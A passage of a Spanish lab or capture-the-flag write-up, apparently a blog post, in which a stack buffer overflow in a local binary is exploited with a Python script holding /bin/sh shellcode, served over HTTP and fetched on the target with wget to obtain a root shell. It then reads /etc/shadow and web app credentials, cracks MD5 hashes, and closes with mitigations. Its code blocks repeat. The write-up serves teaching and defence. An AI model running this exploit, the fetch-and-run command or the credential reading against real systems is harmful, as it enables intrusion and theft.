os.system(exploit)# bof.py
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"\xd0\xcd\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"./vuln '{payload}'"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)Una vez modificado el script, se vuelve a ejecutar. Al revisar el servicio, se puede apreciar que la ejecución ha resultado en la apertura de una consola interactiva, lo que indica que la explotación ha sido satisfactoria.
Se puede comprobar que se está ejecutando en el contexto del usuario local, ya que es el contexto en el que se ha puesto disponible a modo de prueba este servicio.
mousepad bof.py
python3 bof.py
whoamimousepad bof.py
python3 bof.py
whoami
Paso 3 — Explotación remota de la vulnerabilidad (escalada de privilegios)
Como ya se dispone de un exploit funcional y la herramienta "gdb" se encuentra también instalada en el sistema objetivo, se realizan una serie de pasos para comprobar y terminar de adaptarlo para que funcione en el sistema remoto.
Como no se detecta el binario "python3" en el sistema, se pregenera la carga útil almacenándola en un archivo y se ofrece su contenido como argumento del binario vulnerable. El resultado es el mismo como se puede comprobar a continuación.
Para ello, primero se adapta el exploit para que realice esta operación y se ejecuta para realizar la primera prueba.
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"P" * 4 + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' > payload; echo 'Payload generated! Running HTTP server in port 80...'; python3 -m http.server 80"
# Statement to execute the exploit in target system to avoid restrictions
# bash -c 'wget http://172.17.0.1/payload; gdb --args /home/ttttt/bf/vuln "$(cat ./payload)"'
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)
mousepad bof.py -> (modificar y guardar el script)
python3 bof.py
...
Payload generated! Running HTTP server in port 80...
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"P" * 4 + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' > payload; echo 'Payload generated! Running HTTP server in port 80...'; python3 -m http.server 80"
# Statement to execute the exploit in target system to avoid restrictions
# bash -c 'wget http://172.17.0.1/payload; gdb --args /home/ttttt/bf/vuln "$(cat ./payload)"'
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)
mousepad bof.py -> (modificar y guardar el script)
python3 bof.py
...
Payload generated! Running HTTP server in port 80...
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Una vez el servicio HTTP se encuentra en ejecución, desde el sistema objetivo se descarga y facilita como parámetro la carga útil generada.
En esta versión del exploit tras revisar "gdb", se puede apreciar que la dirección almacenada en el registro EIP es remplazada por los 4 bytes especificados en la cadena provista, lo que confirma que el offset elegido es correcto y que esta dirección es personalizable, tal y como se esperaba.
ssh ttttt@172.17.0.2 "bash"
<introducir la contraseña>
export TERM=xterm
export SHELL=/bin/bash
cd /tmp
bash -c 'wget http://172.17.0.1/payload; gdb --args /home/ttttt/bf/vuln "$(cat ./payload)"'
...
Program received signal SIGSEGV, Segmentation fault.
0x50505050 in ?? ()ssh ttttt@172.17.0.2 "bash"
<introducir la contraseña>
export TERM=xterm
export SHELL=/bin/bash
cd /tmp
bash -c 'wget http://172.17.0.1/payload; gdb --args /home/ttttt/bf/vuln "$(cat ./payload)"'
...
Program received signal SIGSEGV, Segmentation fault.
0x50505050 in ?? ()
Como esta vez se ha incluido el NOP sled, se va a comprobar en qué direcciones se encuentra junto al shellcode definido.
# Mostrar 300 palabras de memoria, comenzando desde la dirección almacenada en el registro ESP (Extended Stack Pointer)
# ESP: Registro que apunta a la cima de la pila en memoria que gestiona el flujo del programa y cambia según la instrucción ejecutada.
(gdb) x/300wx $esp
...
0xffffdb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdc10: 0x90909090 0x0b6a9090 0x66529958 0x89702d68
0xffffdc20: 0x686a52e1 0x61622f68 0x622f6873 0xe3896e69
0xffffdc30: 0x89535152 0x0080cde1 0x00000000 0x56556087
0xffffdc40: 0x565561cd 0x00000002 0xffffdc64 0x00000000
0xffffdc50: 0x00000000 0xf7fcd7d0 0xffffdc5c 0xf7ffda50
0xffffdc60: 0x00000002 0xffffdd9c 0xffffddb0 0x00000000
0xffffdc70: 0xffffdeb8 0xffffdec8 0xffffded1 0xffffdedf# Mostrar 300 palabras de memoria, comenzando desde la dirección almacenada en el registro ESP (Extended Stack Pointer)
# ESP: Registro que apunta a la cima de la pila en memoria que gestiona el flujo del programa y cambia según la instrucción ejecutada.
(gdb) x/300wx $esp
...
0xffffdb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdc10: 0x90909090 0x0b6a9090 0x66529958 0x89702d68
0xffffdc20: 0x686a52e1 0x61622f68 0x622f6873 0xe3896e69
0xffffdc30: 0x89535152 0x0080cde1 0x00000000 0x56556087
0xffffdc40: 0x565561cd 0x00000002 0xffffdc64 0x00000000
0xffffdc50: 0x00000000 0xf7fcd7d0 0xffffdc5c 0xf7ffda50
0xffffdc60: 0x00000002 0xffffdd9c 0xffffddb0 0x00000000
0xffffdc70: 0xffffdeb8 0xffffdec8 0xffffded1 0xffffdedf
Como se puede apreciar, la shellcode ha sido incluida justo en el medio del NOP sled, lo que deja un rango amplio para seleccionar una dirección adecuada para la explotación. En este caso, se prueba a seleccionar la dirección en la que se empieza a cargar la shellcode: "0xffffdc10".
Para ello, se adapta el exploit para que realice esta operación y se ejecuta para realizar la siguiente prueba.
# bof.py
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"\x10\xdc\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' > payload; echo 'Payload generated! Running HTTP server in port 80...'; python3 -m http.server 80"
# Statement to execute the exploit in target system to avoid restrictions
# bash -c 'wget http://172.17.0.1/payload; /home/ttttt/bf/vuln "$(cat ./payload)"'
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)
mousepad bof.py -> (modificar y guardar el script)
python3 bof.py
...
Payload generated! Running HTTP server in port 80...
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...# bof.py
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"\x10\xdc\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"echo '{payload}' > payload; echo 'Payload generated! Running HTTP server in port 80...'; python3 -m http.server 80"
# Statement to execute the exploit in target system to avoid restrictions
# bash -c 'wget http://172.17.0.1/payload; /home/ttttt/bf/vuln "$(cat ./payload)"'
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)
mousepad bof.py -> (modificar y guardar el script)
python3 bof.py
...
Payload generated! Running HTTP server in port 80...
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Una vez el servicio HTTP se encuentra en ejecución, desde el sistema objetivo se descarga y facilita como parámetro la carga útil generada. En esta ocasión, se puede comprobar como se consigue explotar el buffer overflow y se obtiene acceso al contexto del usuario "root" directamente.
rm /tmp/payload -> (limpieza para evitar errores)
bash -c 'wget http://172.17.0.1/payload; /home/ttttt/bf/vuln "$(cat ./payload)"'
whoami
id
hostnamerm /tmp/payload -> (limpieza para evitar errores)
bash -c 'wget http://172.17.0.1/payload; /home/ttttt/bf/vuln "$(cat ./payload)"'
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS: Extracción y revelación de credenciales como "root"
Por un lado, se extraen los hashes asociados a las cuentas del sistema del archivo /etc/shadow para someterse a un posterior cracking offline.
cat /etc/shadowcat /etc/shadow
Se detectan además las credenciales para acceder a la base de datos de la aplicación web previamente explotada.
cd /var/www/html
ls -al
cat app.phpcd /var/www/html
ls -al
cat app.php
Y también las contraseñas asociadas a los usuarios de la aplicación web.
id username password
1 admin <RECORTADO>
2 dddd <RECORTADO>
3 ttttt <RECORTADO>id username password
1 admin <RECORTADO>
2 dddd <RECORTADO>
3 ttttt <RECORTADO>
La última se ha descubierto que se encuentra en texto plano, pero las otras dos parecen disponer un hash en formato MD5. Utilizando CrackStation se termina revelando las contraseñas asociadas.
Referencia: https://crackstation.netReferencia: https://crackstation.net
Mitigaciones a aplicar
- Para evitar la vulnerabilidad user enumeration, usar mensajes de error y respuestas indistinguibles tanto si el usuario existe como si no. Aplicar límites de intentos/rate limiting y, cuando sea posible, añadir MFA o CAPTCHA tras varios intentos. En recuperación de contraseñas, responder siempre con un mensaje genérico como, por ejemplo, "Si la cuenta existe, recibirás un correo".
- Evitar que los usuarios del sistema tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Para evitar la vulnerabilidad SQL Injection, usar siempre consultas preparadas, evitando concatenar datos del usuario en las consultas. Complementar esto con validación estricta de la entrada y aplicando mínimos privilegios al usuario de la base de datos.
- Almacenar la información sensible de forma segura (por ejemplo, utilizando gestores de contraseñas), evitando que esta pueda ser accedida por usuarios no autorizados.
- Para prevenir la vulnerabilidad buffer overflow, asegurarse de que cualquier entrada del usuario se copie o procese dentro de límites seguros, utilizando funciones que respeten el tamaño del búfer y aplicando técnicas como la verificación de longitud, el uso de compiladores con protecciones activadas, y la implementación de mecanismos como Stack Canaries y ASLR.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com